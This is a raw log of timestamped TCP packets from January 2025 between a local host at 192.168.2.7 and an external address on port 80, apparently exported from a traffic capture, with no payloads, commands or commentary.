Jan 10, 2025 20:53:55.231256962 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.231261015 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.231277943 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.231293917 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.231293917 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.231309891 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.231340885 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.231344938 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.231406927 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.231421947 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.231436968 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.231440067 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.231456041 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.231461048 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.231476068 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.231489897 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.231494904 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.231506109 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.231518984 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.231677055 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.231690884 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.231707096 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.231708050 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.231729984 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.231740952 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.231745005 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.231760979 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.231775999 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.231781006 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.231807947 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.231914997 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.231929064 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.231945038 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.231959105 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.231962919 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.231976032 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.231988907 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.231992006 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.232007027 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.232021093 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.235557079 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.235621929 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.235635042 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.235662937 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.235690117 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.235791922 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.235815048 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.235830069 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.235842943 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.235843897 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.235860109 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.235872984 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.235878944 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.235888004 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.235903025 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.235908985 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.235918045 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.235932112 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.235934973 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.235948086 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.235958099 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.235961914 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.235976934 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.235986948 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.236083984 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.236098051 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.236126900 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.236131907 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.236144066 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.236157894 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.236161947 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.236171961 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.236186028 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.236243010 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.236257076 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.236270905 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.236284018 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.236294031 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.236308098 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.236309052 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.236323118 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.236330986 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.236337900 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.236375093 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.236423016 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.236520052 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.236535072 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.236548901 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.236550093 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.236563921 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.236579895 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.236589909 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.236594915 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.236614943 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.243065119 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.259211063 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.259356976 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.259378910 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.259393930 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.259396076 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.259407997 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.259423018 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.259437084 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.259438038 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.259454012 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.259466887 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.259474993 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.259483099 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.259490967 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.259496927 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.259511948 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.259536028 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.294397116 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.294441938 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.294500113 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.294514894 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.294529915 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.294539928 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.294547081 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.294549942 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.294563055 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.294565916 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.294575930 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.294591904 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.294609070 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.294621944 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.294626951 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.294627905 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.294645071 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.294656992 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.294658899 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.294677973 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.294699907 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.294702053 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.294719934 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.294732094 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.294737101 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.294756889 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.294784069 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.294797897 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.294814110 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.294828892 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.294832945 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.294852018 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.294866085 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.294882059 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.294883013 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.294910908 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.322864056 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.322891951 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.322907925 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.322922945 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.322935104 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.322937965 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.322953939 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.322968960 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.322983027 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.322993994 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323004007 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.323010921 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323023081 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323043108 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.323045015 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323060036 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323075056 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323090076 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.323091984 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323111057 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.323115110 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323129892 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323143005 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323146105 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.323158026 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323168993 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.323178053 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323193073 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323206902 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323209047 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.323237896 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.323260069 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323275089 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323290110 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323302031 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.323308945 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323343039 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.323358059 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323373079 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323388100 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323401928 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.323401928 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323427916 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.323477030 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323492050 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323508024 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323520899 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.323522091 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323538065 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323551893 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323556900 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.323571920 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323586941 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.323606014 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323620081 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323635101 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.323642015 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323657036 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323671103 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323684931 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323693037 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.323700905 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323738098 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.323771000 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323786020 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323801994 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323812962 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323815107 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.323841095 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.323896885 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323910952 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323934078 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323940039 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.323956966 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323983908 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.323997974 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.324013948 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.324016094 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.324029922 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.324037075 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.324044943 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.324059010 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.324063063 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.324074030 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.324088097 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.324090004 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.324105024 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.324126959 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.324153900 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.324176073 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.324191093 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.324204922 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.324204922 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.324232101 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.324251890 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.324265957 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.324280024 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.324294090 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.324294090 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.324310064 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.324316978 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.324342966 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.324358940 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.324373007 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.324397087 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.324402094 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.324410915 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.324425936 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.324440956 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.324510098 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.324523926 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.324534893 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.324541092 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.324554920 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.324569941 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.324573040 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.324584007 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.324596882 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.324657917 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.324672937 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.324683905 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.324687958 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.324702978 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.324717999 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.324721098 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.324733019 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.324748993 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.324769974 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.324783087 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.324798107 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.324810028 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.324811935 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.324826956 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.324834108 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.326658010 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.326674938 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.351296902 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.351320982 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.351344109 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.351362944 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.351366043 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.351381063 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.351396084 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.351397991 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.351411104 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.351427078 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.351428032 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.351454020 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.386953115 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.387109995 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.387134075 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.387149096 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.387149096 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.387164116 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.387178898 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.387178898 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.387192965 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.387207985 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.387223005 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.387223959 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.387244940 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.387255907 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.387259007 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.387273073 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.387273073 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.387289047 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.387295961 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.387320042 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.387336016 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.387351036 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.387351990 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.387363911 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.387375116 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.387377977 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.387394905 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.387407064 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.387422085 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.387434959 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.387444019 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.387448072 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.387458086 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.387474060 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.387479067 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.387507915 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.415119886 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.415154934 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.415175915 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.415190935 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.415206909 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.415215969 CET	49705	80	192.168.2.7	193.143.1.205
Jan 10, 2025 20:53:55.415227890 CET	80	49705	193.143.1.205	192.168.2.7
Jan 10, 2025 20:53:55.415241957 CET	80	49705	193.143.1.205	192.168.2.7
